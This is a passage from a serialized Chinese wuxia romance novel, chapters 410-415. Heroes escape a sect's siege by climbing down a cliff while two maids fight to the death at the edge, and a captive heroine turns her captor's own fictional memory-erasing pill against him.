围拢,是最好的法子。 尤其是霍青行这些人,全都是身手不凡。 所有人都远远的站着,避免伤亡的最好办法,就是远观…… “他们一时半会不会靠近了。”迎春看出来了,“被少将军打怕了。” 冬梅点点头,“如此也好,给咱留了喘息的机会。” 再不找到生路逃出去,怕是真的要死在这里了。这里的林子太大,到处都是陷阱和杀手,武功再好也防不住暗箭伤人。 “对了,那条蛇……”冬梅好似想起了什么,“为什么忽然帮我们?” 迎春回过神来,“不知道,可能又是一个陷阱,那厮是个疯子,纠缠姑娘不放,还带走了姑娘,按理说不可能帮我们,除非是姑娘在驱使那条蛇。” “你是说……”冬梅心惊,“是姑娘在帮我们?可是……” 没瞧见姑娘她人啊! 人呢? “姑娘被那疯子带走了,估摸着一时半会不可能逃出来,但是她有这个能力控制这条蛇,一回生二回熟,她应是有办法做到,所以即便不在我们身边,也可以想办法护我们周全。”迎春低低的开口。 周围人头攒动,却未见一人。 这是绝境了吧? 不过没关系,绝境逢生总有路,没到咽气的那一刻,都不能罢休。 霍青行一手攀着藤蔓,一手摸索着周遭是否有踏脚之处,且这藤蔓不能只一根,还得有更多的安全保障,才能让大家安全无虞。 每一步,都必须走得很小心,还得将这路线记下来。 一步步往下,一步步试探,仰头看向上方的崖边,但愿他们暂时不会有什么事,不过等到天亮可就难说了。 时不待人,必须尽快。 一脚踩滑,心头惊颤。 霍青行低头看了一眼脚下,黑漆漆的,肉眼不可辨东西。 上面听得动静,林序一颗心快速悬起,却又不敢喊出声来,只瞧着那一道身影依旧贴在崖壁上,这才稍稍松了口气。 只要人还在,就没什么大问题。 少将军,可一定要小心啊! 霍青行慢悠悠的往下挪,仰头瞧着上方的人影,想来是林序听到了响声,实在是不放心,所以才会趴在崖边盯着。 “怎么了?”迎春上前。 林序摇摇头,“没事。” 虽然嘴上是这么说的,但是心里还是有些忐忑,好在底下的黑影一直在…… “我们被包围了。”迎春开口。 林序点点头,“我知道。” 但是,他们没有别的办法。 只有等待。 损兵折将,无可奈何。 不过此前再难的日子都过来了,又岂会怕这些跳梁小丑,“大不了跟他们拼了。” “嗯!”迎春应声。 在他们围拢上来之前,迎春利用周围的树木,削尖了一些枝丫,都到了这时候,自然不可能一板一眼的迎战,反正自己落不了好,旁人也休想占到便宜。 见此情形,冬梅也跟着削枝丫,这玩意多多益善嘛! 反正对待长乐门的走狗,杀得越多越好! 长阴在远处停下,陈识月趴在它背上,瞧着前方那黑黝黝的人影,不由得皱起眉头,“又被包围?还真是穷追不舍呢?” “你莫多管闲事。”长雾沉着脸,“我带你下山。” 陈识月犹豫了,隐隐觉得心里好似有些难受。 第四百一十章 他其实受伤了 长阴掉头就想走,可陈识月还是有些不忍心,“要不然……” “你要么跟我下山,要么我用别的办法,让你走。”长雾颇有耐心的看向她,“我也会点不一样的东西,如你这般。” 大夫嘛? 也有良医和庸医,甚至于毒医的区别。 “我不是行善积德的佛,也不是良善救人的医,但你若是让我出手的话,我可就不能保证,无辜与不无辜之间的区别。”长雾负手而立,“在我眼里,只有活人和死人的区别。” 陈识月裹了裹后槽牙,身上的疲惫感,让她没多少气力与他争辩,眼皮沉重的耷拉着,仿佛随时都要睡过去。 这个时候,她要么靠外力来让自己清醒,要么就此睡过去,事实是……她没有外力可借,只能无奈的闭上眼睛。 “长阴,走!”长雾转身。 长阴没多话,当下跟在长雾的身后,快速离开。 差一点,她就可以见到他了…… 可惜,还是差一点。 那边围拢的人越来越多了,几乎到了水泄不通的地步,但无人敢轻易靠近,毕竟靠近的代价太大了,之前的伤亡还有那些高手的死,是每个人心中瑟瑟发抖的存在。 霍青行只要提起剑,便如同活阎王一般的存在。 大家都在等,默默的等着! 等着他们体力耗尽,等着他们成为无望的困兽。 远远的,迎春皱眉,“那是不是……” 那道身影好似有些高大,像是那条蛇? “是不是?”迎春看向冬梅。 冬梅皱眉,“你别说,那么高……好像真的是那条蛇。” “这蛇一直跟着我们,是因为姑娘的缘故吗?”迎春不解。 冬梅诧异,“那怎么又走了呢?” “你傻呀?这么多人,那蛇过来也不中用,何况本来就是长乐门养的东西,你要让他们真的翻脸,那还得了?”迎春面色凝重,“只怕是那个疯子来了。” 冬梅恍然大悟,“这是说……那个疯子过来了,所以把蛇带回去了?” “要不然呢?姑娘可不会帮着长乐门,势必会跟长乐门对着干。”迎春担忧至极,“只是这么一来,姑娘怕不是已经暴露了自身,那个疯子……” 冬梅啐了一口,“那个疯子要是真的对姑娘做什么,等我们安全了,到时候再杀回去,我定要将他撕成一片一片的!” “稍安勿躁。”迎春音色微沉,“把蛇带回去,却没有做其他之事,是否说明发生了别的事情?又或者是,这疯子无法完完全全的控制姑娘。” 压制不住,只能暂且退避。 冬梅点点头,“你说的有道理。” “我们一定要活着!”迎春瞧着大蛇离开的身影,面色凝重,“姑娘一定要好好的。” 霍青行上来,已经是一个时辰之后,整个人像是被汗水泡过一般,身子都有些虚弱,好在没什么大碍,就是表露在外的肌肤有些许摩擦痕迹。 “可以下。”霍青行开口,“但是半山腰有些湿滑,下去的时候必须按照我规划的路线走,否则容易打滑,底下便是乱石,稍有不慎就是万劫不复。” 林序想了想,“少将军先休息片刻,待缓过劲儿来再重新下去,离天亮还有些时辰,咱应该还来得及。” “到时候我与冬梅先在上面守着,断不能让那些宵小之辈,趁着这空档落井下石。”迎春忙道,“那些人如今就等着咱有动静,露出马脚呢!” 霍青行也觉得如此甚好,“大家分工合作,一定可以妥善处置此事。” 大家一起逃出去,不能让长乐门的人得逞。 圈子外头的人,蠢蠢欲动,不敢上前。 圈子里的人,伺机而动,只欲求生。 饶是长乐门的门主来了,这一时半会的也不敢轻易上前,霍青行杀了太多人,这么多的江湖高手都殒命在他手中。 那些高手是什么实力,门主心知肚明。 但是霍青行有多大实力,的确惹人生疑,这么多高手围追堵截,都死在他手里,且死相凄惨,怎不叫人心惊胆战? “门主?”心腹低语,“不动手吗?” 门主一身黑衣斗篷,立在树荫底下,瞧着远处的场景,“伤亡太大了,能拖则拖,何况这地方不安生了,所有的东西都只能一点点的挪出去,咱们需要时间。” 挪窝是需要时间的,这十数年的家当累积,不是说搬就能搬…… “是!” 时间是关键,这些人只要逃不出去,外头的人就会投鼠忌器,不敢轻举妄动,如此僵持,时日长久之后,他们就有足够的时间搬离此处。 当然,不是彻底的搬离,这么大的洞窟,这么好的遮蔽之处,不是哪儿都能找到的,所以接下来这段时间,整个长乐门都会处于动荡时刻。 得好好筹谋一番,不能再大意了。 “等到天亮,慢慢耗死他们。”门主转身就走。 只是没走两步又忽然捂住了心口,呼吸都乱了节奏。 “门主?”心腹骇然。 门主摆摆手,“没事。” 他回头看了一眼崖边方向,本事再大又有什么用呢?人吃五谷杂粮,终是血肉之躯,能熬得了多久呢?本来都是一群伤员,估计离死不远了。 眨眼的功夫,他已消失无踪。 霍青行休息了一会,便开始带着人重新往下走,迎春和冬梅都在上面看着,以免那些狗东西突然袭击,到时候他们在悬崖底下就真的要吃苦头了。 一行人以霍青行为领,率先下去,其后便是林序,紧接着是护卫背着怪人紧随。 腰带绑缚,将怪人牢牢的绑在身上,是以两个护卫从旁协助,虽然下去的过程很是缓慢,但到底是有条不紊。 林序和霍青行做好了,随时接住怪人的准备,虽然每一步都艰难,但每一步都是希望! 冬梅和迎春也没闲着,用枝丫作为幌子,在远处看来,这里的人都在,一个都没少,这样对方就不会轻举妄动。 但是…… 这法子仅限于天黑,天一亮可就穿帮了,而现在是黎明前的黑暗,很快就会迎来黎明时分! “这也不知道能蒙多久?下面怕是快不了?”冬梅很是担忧,“少将军此前经过了两个时辰,那这一次……估计会很久吧?” 迎春也想到了这个问题,“那你我就要拿出看家的本事来,莫要让少将军和姑娘失望。” “若真难逃一死,咱姐妹二人能死在一起也是极好!”冬梅将枝丫扎在地上,插腰看向周遭的黑影,“一帮歪瓜裂枣的东西,真当老娘好欺负?老娘就是两天不吃饭,也能把他们撕吧咯!” 第四百一十一章 中了一箭 话是这么说的,但是真的做起来,可就没那么容易了,对方人数众多,他们如今只剩下冬梅和迎春二人,双拳难敌四手,真的打起来……的确没有太大的胜算。 但无论如何,都不能让他们靠近崖边。 “天亮之后,不许他们靠近崖边,咱……得守住!”迎春坐了下来,“现在,你我需要休息。” 冬梅点头,“我还不困,你眯一会。” “你是饿得难受吧?”迎春打趣。 不是不困,是饿得睡不着。 但,还是得撑过去。 她们在等天亮,同时也在等着命运的最终降临…… “一定要拦住他们。”迎春是被第一缕曙光照醒的。 冬梅有些激动,“迎春,要动手了吗?” 迎春与她比肩而站,打了个哈欠,“你看这些跳梁小丑,一个个都像是要吃人一般,你觉得呢?” “到时候我可就顾不上你了。”冬梅严阵以待。 迎春握紧手中剑,“我可不是那帮怂货,你我只管放手一搏,莫要让他们靠近崖边,便算是你我赢了!少将军带着人离开,你我就算是死,也是功德无量。” 潜龙关之事,兹事体大,数十万条人命…… 那都是血淋淋的血债! 必须彻查清楚! “你这么一说,我忽然觉得自己死也值得。”冬梅挺直腰杆,“这帮狗东西,只管放马过来吧!” 远远的,众人都有些狐疑。 天黑无光,没瞧出什么,如今这么一看,一个两个都傻眼了。 “怎么就两个人?” “其他人呢?” “不对,之前不止两个人。” “天还没亮的时候,看着都有好些人,怎么天一亮……人都不见了?” 疑虑丛生。 每个人的脸上都浮现出疑惑,及至惊恐的表情,好端端的人怎么会忽然人间蒸发了?若是如此,那他们该如何跟门主交代? 一个个大活人,在人前消失无踪,换谁会信? 可偏偏,这就是事实。 包围圈逐渐收拢,最后只剩下两个女子立在中间,一个两个手持利刃,极为不屑的扫过周遭众人,笑得何其嘲讽。 “哎呦,这可如何是好,没抓住人,让咱的人插上翅膀飞了?”冬梅冷嘲热讽,“听我一句劝,这怕是回去也没法跟主子交代,倒不如……自我了断,一死了之。” 迎春点点头,“是个好主意,也免得咱动手,到时候都留不下个全尸。” 两人一唱一和,气得周遭众人脸红脖子粗。 没错了。 就两人。 “其他人呢?”为首的怒喝。 迎春指了指天上,“不是跟你们说了吗?插上翅膀,咻,飞咯!” “一群傻货。”冬梅嗤笑两声,“就你们这些桃仁大小的脑子,也想抓我们?呵呵,怂货!” 面对这么多人的包围圈,两个姑娘愣是没有半分怯意,皆是冷冷的看向众人,已然做好了交手的准备,冷剑散着寒光,各自眸中狠戾。 蓦地,好似想到了什么,为首的面色陡沉,目光越过二人落向了不远处的崖边。 “难道说,他们从这里下去了?” 这话一出,所有人都明白了过来。 人下去了? “上,冲过去!”为首的一声令下,顷刻间便是如潮涌动,所有人一拥而上。 迎春面色陡沉,“冬梅,上菜了!” “好嘞!”冬梅扬眉一笑。 呵,生死难料。 崖边,激战异常。 虽然都有不同程度的受伤,但当初霍青行选了她们,送到陈识月的身边,本就是因为二人的功夫好,是以这个时候就发挥了作用。 满身鲜血,尸体在崖边垒起了厚厚一层,到了最后,谁也分不清楚,身上的究竟是谁的血?最后握不住刀剑了,就撕下一片衣角,用力的将剑与手掌牢牢绑住。 湿滑黏腻的血液,让人握不住手中剑,只能用这样的办法,才能继续杀人。 空气里充斥着浓郁的血腥味,到处都是刺目的殷红,视野里满是血色,一眼望去都是红的,到了最后双方都杀红眼了。 即便如此,冬梅和迎春联手,也没有让人靠近崖边半步。 她们死死的守住崖边,因为这个时辰,少将军他们还没有落地,必须再坚持一会,要不然的话,可就是前功尽弃了。 当然,她们也很清楚,即便这会霍青行他们落了地,再想上来救她们,都是来不及的。 为时已晚。 她们都知道自己的结局,所以这会能杀一个就算一个,这帮长乐门的宵小之辈,不该活在世上害人,死一个少一个。 上面传来的动静,霍青行他们都听得到,可是他们没办法,距离底下还有一段路,他们务必要小心谨慎,不能有任何的闪失。 每走一步,都得停一下。 护卫有些着急,好几次都险些滑了脚,所幸被快速搀住,大家彼此帮扶,终于从天黑熬到了天亮,眼见着距离山脚下没多少路程了。 上面的打斗声已经听不到了,但他们都很清楚,长乐门的人不易罢休,这就意味着冬梅和迎春的处境极为恶劣。 群狼环饲! “林序,不要分心!”霍青行低喝。 林序收回视线,眼眶微红,“她们……” 只是两个姑娘。 “所有的命都是她们救下的。”霍青行只这一句,已经说不出别的。 到嘴边的话,就只能到此为止了,再说别的就太矫情。 忽然间,一支冷箭狠狠扎在了侧边石壁上。 众人旋即转头,这才看清楚,在半山腰一个断壁上方,有几个人手持弓箭,对准了挂在岩壁上的霍青行他们,因为山中有风,所以箭射歪了,要不然的话…… “走!”霍青行低喝。 那边对准了这边,林序和霍青行准备着,随时出手。 箭,再度袭来。 嗖嗖嗖的扎在耳畔的岩壁上,惊得所有人脸色全变了,林序旋即一个飞身,落在了箭射来的方向,“少将军,你们先走。” 现在不是矫情的时候,霍青行没有任何的犹豫,“众人随我继续下。” “是!” “是!” 林序一手攀着藤蔓,一手持剑,就这么直勾勾的盯着冷箭袭来的方向,一颗心七上八下,目光却始终坚毅如初。 好在,霍青行他们已经下去了。 只要距离够远,箭矢会因着风力而失去准头,所以现在需要的还是时间。 放眼望去,两侧岩壁陡峭,想要抓人可没那么容易,且这藤蔓并非一根藤蔓通到底,就算砍断了上面的藤蔓也没用,底下蔓延而出的藤蔓距离崖边太远,刀剑不可及。 冷箭忽然刺入,林序手上一松,险些坠下,所幸攀住了边上的另一根藤蔓,这才堪堪稳住…… 第四百一十二章 终于逃出来了 这一举动,委实也惊着了下面的霍青行,他几乎是下意识的想往上爬,但落下的碎石又让他快速清醒过来,这不是战场,如今所为之事,皆关系着当年的潜龙关大败的真相。 忍住! “林序?”霍青行喊了一声。 林序将箭羽折断,以免不断的剐蹭,留下短短一截,等着安全了再取出箭矢,“我没事,少将军不必管我。” “小心点。”霍青行继续往下挪。 林序喘一口气,在对方再度射箭的时候,已经慢慢的往下挪去。 箭直接扎在了头顶位置,差一点就直中脑门。 好险! 缓过神来,林序看一眼远处弓箭手,扬唇冷笑,小心翼翼的去追霍青行他们。 这个距离,已经不是弓箭手的距离,又加上崖壁这边风大,箭本来就射不准,如今更是还没射到跟前就坠下去了。 “就这点本事?”林序冷笑两声,看了一眼跟自己有些距离的霍青行他们,笑得更加猖狂得意。 一帮跳梁小丑。 等爷安全了,再回来收拾你们! 只是,崖边的激战还在继续,迎春和冬梅已经快精疲力竭了,浑身是血,这般模样,饶是之前围拢在外头的长乐门众人,也跟着心中震撼,好半晌不敢靠近。 这不是两个弱女子,这分明是两尊杀神。 见神杀神,一律格杀。 到了最后,每个人的脸上都浮现出异样,惊恐,不敢置信,慌乱。 刀剑在手的一群男子偏生了老鼠胆,都不敢轻易靠前,大家你看看我,我看看你,瞧着正前方相互搀扶的二人,握着剑的手都在颤抖,却始终怒目圆睁,扫过周围的众人。 “来啊!”冬梅冷笑两声,“一帮怂货,怎么不敢了?有本事就过来啊,不是最瞧不起女子吗?怎么现在又不敢了?” 迎春已经被鲜血糊了眼睛,却也是扯出一抹嘲讽的冷笑,“脚下叠了那么多的尸体,不怕死的继续来,我们两姐妹今日就算是折在这里,也是赚到了!拿两条命,换你们这么多条人命,值了!” 不知道少将军他们是否已经周全? 这悬崖很高很陡峭,即便这个时候少将军已经安全了,她们两个也没有力气爬下去了,今日是真的要死在这里了。 不过,没辜负这一身的好武艺…… 一个两个面面相觑,但上头有令,岂敢不从? “上,把她们碎尸万段!”为首怒喝一声,旋即手一挥,“大家一起上!” 然而,有些事情不是一起上就能做成的,心里有执念有信念的人,可不是随随便便就能扳倒,虽然力有不逮,但两人相互合作,纵然身上血痕累累,也足以叫人不敢贸然。 “你们这群废物!”为首的一声怒喝,紧接着便率先冲了上去。 之前,他在冬梅和迎春的手上吃过亏,身上还带着伤,但若是不能拿下她们,只怕到时候什么都得不到,回去之后门主必定要活剐了他。 事已至此,只能拼了。 一个冲上来,两个三个都只能就此跟上,也没有别的办法了,只能拼命。 冬梅的背上挨了刀,迎春的胳膊鲜血淋漓,两个人都已经精疲力竭。 眼见着,刀子要落下来。 忽然间,一阵寒风掠过…… 山林中忽然有野鸟齐飞,呼呼啦啦的从这头飞到了那头。 陈识月迷迷糊糊的睁开眼,只看了一眼便沉沉的昏睡过去,却气得一旁的长雾来回踱步,真想一棍子打死她,奈何她为主,他是副。 倒反天罡的事情,越靠近她,越无能为力。 想了想,长雾上前,一把抱起了坐在树下昏睡的陈识月,“真是败给你了!” 事到如今,还能怎样? 走一步算一步。 他倒要看看,她还藏着多少本事? 当然,他也得避开霍青行他们,得绕个路把人藏起来,还得重新试药。 之前的药,还是下得太轻了。 茅屋内。 有人昏睡不醒,有人发了疯似的研究自己的新药。 旧的不行,那新的呢? 新的药是不是可以试一试? 若是有别的效果呢? 掰开陈识月的嘴,长雾快速将药喂了进去,瞧着她喉间滚动,这才如释重负的松了口气,想了想又快速转身出门,长阴那笨蛇,简直是气煞人也,得好好的修理一番,总要让它知道,谁才是它真正的主子! 殊不知,他转身就走,她张嘴就吐,顺道将药丸接在手心,收入袖中。 困是真的困,三番四处的催动蛊虫的力量,但已经不似之前那般毫无准备,人对于某一种习惯是有适应性的,就像是她催动了蛊虫之后逐渐适应了它带来的后遗症。 糖吃多了,也就不觉得甜了。 大抵,也是这个道理。 翻个身,陈识月继续睡,想骗她,得先骗了她这防范众人的本能。 沉睡是真的,警惕也是真的。 梦里,有人在等她,瞧着很模糊,看不清楚五官轮廓,但她一直有个声音在告诉她,往前走,靠近他,别放开他的手…… 他是……谁? ………… 崖边落地的那一刻,霍青行忽然环顾四周,恍惚间好似看到了什么?若有所思的看向周围,可是什么都没有。 “少将军,怎么了?”护卫问。 霍青行回过神来,“没什么。” 只是出现了幻听,好像听到有人在喊他,那声音像极了月儿。也许是自己太过担心她,所以才会幻听,月儿不可能出现在这里。 等了半晌过后,林序终于安全的落下。 霍青行的心算是稍稍落地,当即搀了林序一把,瞧着他箭头的那支断箭,面色难看到了极点,“可还撑得住?” “战场上刀光剑影都过来了,谁还没扎过两支箭呢?”林序笑着打趣,宛若没事人一般,“少将军只管放心,咱这条命就算要丢,也该丢在战场上,岂能让这些宵小之辈占了便宜。” 话是这么说,但是中了一箭也是事实。 林序疼得倒吸一口冷气,“等咱安全了,我定要带人回来,非得把这几座山都夷平咯!” “走吧!”霍青行搀着他,“先安全了再说。” 这里已经是距离山脚最近的地方,但被对方察觉到了他们攀岩而下的行径,估计最后那一程还是很艰辛,所以没办法再逗留,得尽快赶路。 即便所有人都疲倦到了极点,但还是要强打起精神,得快速离开这里,以免再被追上。 等到长乐门的人追到时,早已没了霍青行他们的踪迹。 山脚下的人还在等着, 此前第一波用来接应了安信他们,后来是捕头,如今只等着自家少将军和林序等人的归来。 第四百一十三章 林序,你不能死 只不过一直等一直等,接应的人始终没等到少将军归来,从日升到月落,耐心在一点点的耗尽,心情也是无比的烦躁。 少将军没回来,必定是出了大事,若是……如何对得起驻守边关的老将军? 该死的。 老将军派来找寻少将军的人,在护送少将军平安抵达金都之后就返回了边关,所以这会能拿主意的人不多,军令如山,谁都不敢轻举妄动。 “那是什么?” 远处山上,有烟雾升起。 “好像是起火了?” 时近傍晚,这股子烟雾伴随着些许红光,还真的像是起火了。 众人面面相觑,一时间也不知道该不该过去? “统领,你来说句话,咱要不要进去找人?”底下人都有些按捺不住了,“若是少将军出事,你我便是万死也难赎其罪。” 少将军是霍家军最后的根,若是出了事,消息传回了边关,老将军还不得疯? “都稍安勿躁。”统领眯起了危险的眸子,“是火光没错,但谁能保证这火光不是陷阱呢?我们留在这里,若是少将军真的平安出来,咱就可以立刻迎上去接应。若是离开,待少将军转回,你我可还能确保他安然无虞?” 尤其是,这要是作为陷阱,吸引接应的人过去自投罗网,死的就是他们这些人,到时候少将军即便出来,也是孤立无援。 深山之中,一切都不可估量,不能贸贸然行动。 军令如山。 他们唯一要遵守的就是军令。 “那就只能继续等?”底下人满脸忧虑。 要是少将军出事…… 可走开的话,万一少将军归来,又该多失望? 山火若是燃起,也不是什么坏事,若是火势越来越到,一定会有人去报官,到了那时候,朝廷的的人就会来救火,局势必定乌泱泱的乱成一团。 对于这场面,所有人都重新蛰伏原位。 到底是不安全,毕竟少将军说过,这多半是长乐门的地盘,无论如何都要小心谨慎,免得到时候被长乐门的人围攻,就没办法接应少将军了。 火光起,一直在燃烧。 远远的便有大批的长乐门的人,冲过去灭火,说句不好听的,这要是真的惹来了朝廷的人,那可就糟糕了。 尤其是火光冲天,会招来城门守卫的注意,人多了免不得浑水摸鱼,到时候可就没那么好运气了…… 冲进来的人,逃出去的人。 一个两个,乱成一锅粥。 许是运气,忽然一场大雨铺天盖地而来,顷刻间火势锐减,如此一来倒是缓和了不少,大家都松了口气,只是谁也不知道这山火到底是天火还是人为? 当然,是人为。 一场大火能解决很多问题。 霍青行瞧着这几具尸体,回头看了一眼起火的方向,“真是天助我也。” 正因为这一场大火,导致大部分的长乐门人都去扑火,所以追杀他们的人,也都有些心慌意乱,队伍松散,追上来的人就眼前这么几个小喽啰。 霍青行下手够快,几乎没什么太大的动静,就把人给解决了。 天黑了。 雨大了。 一行人冒着大雨,快速朝着既定的方向走去,他们一定可以活着走出去的。 只是,林序的脸色难看到了极点,越到后面,呼吸越是沉重,伤口处的血始终没有止住,衣裳早就被鲜血染红,如今雨水一冲,整个人都相识水池泡过一般,红得很耀眼。 “箭矢上淬了毒。”霍青行裹了裹后槽牙。 他们都知道,这是什么毒,怕误伤自己,所以箭矢不是剧毒,而是让伤口无法止血的毒,没有解药的话,这伤口会一直出血,直到中箭者血尽而亡。 拔箭是死,不拔也是死,就看能不能撑到外面? “不必管我。”林序捂着伤口,能忍多久就忍多久,“比起潜龙关那么多无辜的将士,我这点伤算得了什么呢?” 看向晕晕乎乎的怪人,林序扬唇一笑,一如既往的放浪不羁。 “少将军,若是我真的看不到那天,冤屈平反的时候,给我烧一封信。”林序打着趣,“少将军可一定不要忘了。” 霍青行瞧了一眼,明明走路都快没力气了,还不忘开玩笑的人。 蹲下来,把人背起来。 林序:“……” “省点说废话的力气,等大夫拔箭的时候,能吊着一口气,蛮子还在边关蠢蠢欲动,你这就想衣锦还乡了?想得美!”霍青行背着他,大跨步往前走,“你我生死与共,休想当逃兵!” 林序耷拉着脑袋,“少将军背我走这一遭,就算是阎王爷来了,我也得跟他拖两天,要不然,到了阴曹地府,我也要掀了这阎王殿。” “让你少说废话,你还越说越起劲?”霍青行皱起眉头,“闭嘴吧你!” 林序闭着眼睛笑了,倒是没再多说什么。失血过多的脑子,已经做不了任何的思考,不过当年……少将军也是这样把他背出死人堆的。 察觉到背后之人的安静,霍青行的心里没底。 月儿不在身边,他确保不了任何人的生死,连转圜的余地都没有,除了把他们带出去,他觉得自己……似乎什么都做不了? 一如,在战场上。 你会看到自己身边人一个个死去,除了拼上自己这条命,不让他们的血白流,你也什么都做不了,战场上只有死亡。 霍青行冒着大雨,背着林序快速前行,每一步都好像踩在刀刃上,他能清晰的感受到,背上之人的生机流失…… 臭小子,你可不能死,咱说好了要一起上阵杀敌的! 大雨磅礴,视线模糊。 终于,他好像看到了人影…… 好像是……月儿? 月儿,是你吗? 是你来接我了吗? “少将军!” “少将军!” 雨水滴落下来的时候,陈识月登时打了个激灵。 哎呀,这房子漏水? 也对,山脚下一个小茅屋,都常年失修的,这么大的雨……不漏雨才怪! 巧了不是? 这水刚好从床顶落下来,急得她一下子像屁股冒烟似的窜了起来,登时跳下了床榻。 满脸是雨水,屋顶上有个小洞,平日里倒是没什么,但若是刮风下大雨的话,肯定会漏雨,其他地方也是滴滴答答。 脑子里有什么东西一掠而过,她好似想起了什么,隐约也有这么一个地方,下大雨会漏雨,大晚上的不敢睡觉,各种盆子、容器接水,找个不漏雨的地方蜷一晚上。 那是什么地方? 能想起来的,肯定是自己很熟悉的,甚至于住了很多年的,印象很深刻的地方。 “会是哪儿呢?”陈识月站在边上避雨。 蓦地…… 第四百一十四章 你咽下去的,是你自己的药 长雾站在门口,身上穿着斗笠和蓑衣,裤管上还沾着不少泥泞,乍见着陈识月站在角落里避雨,他下意识的仰头看了一眼漏雨的屋顶,默默的将斗笠递过去。 对此,陈识月是一点都不客气。 伸手接过,戴在头上。 若是淋雨受凉,那还得了? 她可不会因为一时的矜持,让自己吃苦受罪,戴上斗笠之后,便是漏雨也没什么可担心的,不用再蜷缩在角落里。 “长阴呢?”陈识月问。 长雾穿着蓑衣,瞧了一眼外头,“不知道跑哪儿去了。” 闻言,陈识月挑眉。 不知道跑哪儿去了? 这话,谁信呢? 见着她嗤之以鼻的模样,长雾坐了下来。 “你是怕我再使唤它,所以干脆把它藏起来,隔着一定的安全距离,我便不能再使唤它,奈何不了它。”陈识月白了他一眼,站在了茅屋的门口,瞧了一眼外头。 果然,没瞧见长阴的踪迹。 这该死的东西,果然把自己的利器藏起来了。 如此一条听得懂话的巨蟒,走哪都是威慑众人的存在,奈何现在被藏起来了,等于是斩了陈识月一臂,让她有种痛失左膀右臂的感觉。 “别看了,没回来。”长雾开口。 陈识月叹口气,回头看向长雾,“你把它藏起来作甚?我又不会让它去烧杀抢掠。” “但凡你让它去为非作歹,我也就认了。”长雾面色沉冷的看向她,“可你让它去行善积德,去救人,去做善事,咱可就不答应了。” 陈识月就不明白了,“为什么行恶可成,行善就不行?” “因为我们都不是好人。”长雾回答。 陈识月轻嗤,“你不是好人,但我也不是恶人,别我们、我们的,我与你不熟。” “你我是夫妻!”长雾还是这句话。 这茅屋他不常来,但到底是自己一个落脚点,一应物什也算是齐全,就是略有些破破烂烂。走之前在门口的炉子上放了水壶,这会外面下雨出不去,正好能泡茶喝。 倒了杯水,长雾幽然吐出一口气。 陈识月直接笑出声来,“从我醒来开始,你这句话就已经说了八百遍,你觉得我会相信你吗?” 说着,她缓步走到了长雾身边站着。 “你现在不信,以后总会信的,日久见人心嘛!”长雾喝了口水。 热气腾腾,水汽氤氲。 陈识月不以为意,“问个事。” “什么事?”长雾挑眉。 陈识月道,“既然你口口声声我们是夫妻,那我看上你什么了?你要是觉得我这么说,有点伤人自尊,那不如换个方式,你看上我什么了?两个人成亲总不能是打赌输了,我就嫁给你,你就要娶我吧?” 果然,一个谎言要用无数的谎言来圆。 “我这相貌不够英俊吗?你瞧不上我?”长雾有些怀疑了,摸了摸自己的脸,虽然不是真容,但做一张假皮的时候他也是精心挑选过的。 说不上貌比潘安,但也是俊朗有加,怎么着也能吸引小姑娘吧? “我也并非倾城之貌,你为何看上我?”陈识月又问。 瞧着她满脑子疑问,八百个心眼子的样子,长雾真的有种难言的窘迫,她好像总能抓住他的漏洞,然后问出那些个一击致命的问题。 见长雾哑口无言,陈识月扯了扯唇角,何其嘲讽。 长雾别开头,面上的无语表情,遮都遮不住。 外头的雨好似小了一点,但是白雾渐起,其后便是夜色黑沉得厉害。 山里的雨夜,更黑更沉更安静。 “稍安勿躁。”见着她想出去,又分外犹豫之色,长雾开了口,“现在还不是出去的时候。” 陈识月回眸看他,“我当然知道,现在还不能走。” 长雾一顿。 这么快就想明白了。 但是吧…… 他目不转睛的看着她带笑的眼睛,一时间竟有些莫名的晃神,好半晌才回过神来,默默的别开视线,耳根子略有些微红,“你放心,我既说是要带你出去,必定会……” 话音未落,他好似忽然意识到了什么,陡然低眉看向杯盏里的水。 陈识月摘下了斗笠,轻轻靠在了门边,然后便是提起了炉子上的水壶,“还要喝水吗?再给你添一点?许是这水味儿不够重,你可以再多喝两杯。” “你……”长雾放下杯盏,徐徐站起身来,略有些不敢置信的看向她,“什么时候下的药?” 陈识月想了想,“在你进门之前,这水壶就一直暖着,那水咕咚咕咚的冒着泡,我寻思着反正都已经烧开了,总要下点东西吧?这不,就弄了点好东西下去。以彼之道,还施彼身,这道理总没错吧?” 长雾快速给自己把脉,面上略显难看。 只是…… “你到底……唔……”他刚一张嘴准备质问,谁知下一刻……有东西咕咚一下就滑入了他的咽喉。 陈识月喂药的动作那叫一个快准狠,力道掐得刚刚好,没费多大劲。 “水壶里的药,只会让你反应慢一拍,脑子有点犯迷糊而已,说白了,是迷汗药而已,我知道你不怕这个。”陈识月插着腰站在原地,“但是你自己的药,你怕不怕啊?” 长雾:“??” “就是你刚刚咽下去的,是你自己的药,跟我可没关系,我又不知道这是什么毒?”陈识月翻个白眼,“你要解毒,就自求多福,我是没办法咯!既不知道毒方,也不知道解毒方。” 说着,她重新拿起了斗笠。 那样子,似乎已经打算离开。 “你什么时候偷了我的药?”长雾身形晃了晃,当即扶住了桌角,狠狠甩了甩沉重的脑袋,视线逐渐迷糊起来。 陈识月笑得邪邪的,与霍青行几乎如出一辙,“你自己给的。” 面上骇然,眸中惊恐。 长雾失声尖叫,“我塞进你嘴里的那颗噬魂丹?” “哦,原来叫噬魂丹呢?”陈识月恍然大悟,“那你要倒霉了,这脏不了解的三魂七魄,怕是都要被啃噬干净了。啧啧啧,自作孽不可活。” 长雾扣着嗓子眼,可他很清楚自己做的药,到底有什么效用,入嘴未必即化,但是咽下去之后……肯定是抠不出来了。 完了完了! 脑子要丢了! 瞧着他摇摇欲坠,好像快睡过去了,却死咬着最后一丝清醒不放,陈识月就想笑,“别硬撑着了,该躺下就躺下,好好睡一觉不就什么都没事了吗?我也瞧过了,那药可能会让人失去神志,那我如今什么都想不起来,是不是也跟这药有关呢?” 她又不是傻子,谁还没个心眼呢? 长雾眼一翻,重重倒地。 第四百一十五章 陈识月:无痛加辈 瞧着人重重倒下,陈识月快速戴上斗笠出去,然后……然后没走远,就在窗外候着,一直等着内里呼吸均匀,判断长雾大概是真的已经昏睡过去。 压着脚步声,陈识月重新转回。 屋子里很是安静,陈识月压着脚步声,小心翼翼的靠近,好半晌都没见着长雾又什么反应,她这才松了一口气。 这药,很管用。 虽然不知道配方,但当时吐出来的时候,她也是凑近了闻过的,内里有几个药是能让人神志混乱,大概这就是自己失忆的原因。 心神混乱,肯定会记忆错乱,记不得以前的事情也是情理之中。 不过这一次嘛…… 以彼之矛,攻彼之盾,记不起前尘往事的可不就不只是她一人了。 长雾? 